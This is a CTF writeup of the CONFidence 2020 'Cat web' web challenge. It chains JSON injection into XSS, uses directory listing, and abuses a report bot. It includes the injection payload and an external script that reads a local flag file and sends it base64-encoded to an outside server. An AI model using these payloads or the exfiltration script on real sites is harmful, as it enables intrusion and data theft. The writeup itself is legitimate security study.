Confidence CTF 2020 `Cat web` challenge writeup

    [+] (157 pts) Cat web

Our Team Invaders ended up at 59th position
in `CONFidence 2020 CTF` conducted by `p4 team`.
The `Cat web challenge` was pretty interesting
without any guess and chaining all together to achieve flag etc,
which made me to write this Writeup.

Cat Web

A service running at ``
  <title>My cats</title>
 <script src=""></script>
  function getNewCats(kind) {
   $.getJSON(''+kind, function(data) {
    if(data.status != 'ok')
    cats = data.content;
    cats.forEach(function(cat) {
     var newDiv = document.createElement('div');
     newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

  $(document).ready(function() {
   $('#cat_select').change(function() {
    var kind = $(this).val();
    history.pushState({}, '', '?'+kind)
   var kind =;
   if(kind == "")
    kind = 'black';
  <select id="cat_select">
   <option value="black">black</option>
   <option value="grey">grey</option>
   <option value="red">red</option>
   <option value="white">white</option>
  <div id="cats_container"></div>
  not like sumthing? send it <a href="/report">hier</a>
Functionality: images of cats are grabbed based on kind value (kind of cats)
the kind of cats are grabbed from select option or from query (on page load)
Then the cat images related to that kind are grabbed from returns a json
$ curl
{"status": "ok", "content": ["1554866661126960529.jpg", "lJCNA_JC_400x400.jpg", "1.jpg", "1548178639131425422.jpg"]}

Observation - 1

There is a report functionality(, a chance for ssrf . Needed an xss through url.
There is no url check for url being visited.
The images in content of json request are placed without sanitizing for html
newDiv.innerHTML = '<img style="max-width: 200px; max-height: 200px" src="static/'+kind+'/'+cat+'" />';

Observation - 2

fishy at cat's listing json endpoint
on search Success
$ curl
{"status": "ok", "content": ["1554866661126960529.jpg", "lJCNA_JC_400x400.jpg", "1.jpg", "1548178639131425422.jpg"]}
on search Error
$ curl '"'
{"status": "error", "content": "aaa" could not be found"}
The search term is reflected back into json without sanitization. We have an json injection. By overidding the status & content values we can achieve xss by injecting out js file.

Observation - 3

Crafted a Payload :
", "content": ["\"><script src=''></script>"], "status": "ok", "a": "
Tried SSRF using (report + xss) searched for cookies , sessionStorage, content . But no use :(
Something is missing.

Observation - 4

The images are loaded as static/kind/cat, the kind is the folder name, so tried directory listing on ==> Boom
$ curl
{"status": "ok", "content": ["", "uwsgi.ini", "", "templates", "static", ""]}
By traversing through directories finally got
file:///app/templates/index.html index page which have xss

Observation - 5

We need to read the file:///app/templates/flag.txt from browser. CORS matters :(
But the is an static page so there is no difference between and file:///app/templates/index.html.
What about the request by js which is main for everything (xss).
Checked that route for cross origin request worked . Boom


By combining all
External JS :
fetch('file:///app/templates/flag.txt').then(response => response.text()).then((response) => {window.location = '' + (btoa(response) || 'No Value')});
All together : - - [16/Mar/2020 00:35:27] "GET /static/xss.js HTTP/1.1" 200 - - - [16/Mar/2020 00:35:28] "GET /xxx?a=cDR7Y2FuX2lfaGF6X2FfcGllY2Vfb2ZfZmxhZ19wbGl6P30K HTTP/1.1" 404 -
Flag : p4{can_i_haz_a_piece_of_flag_pliz?}


Popular posts from this blog

Square CTF 2019 Writeup's

InCTF 2019 writeup's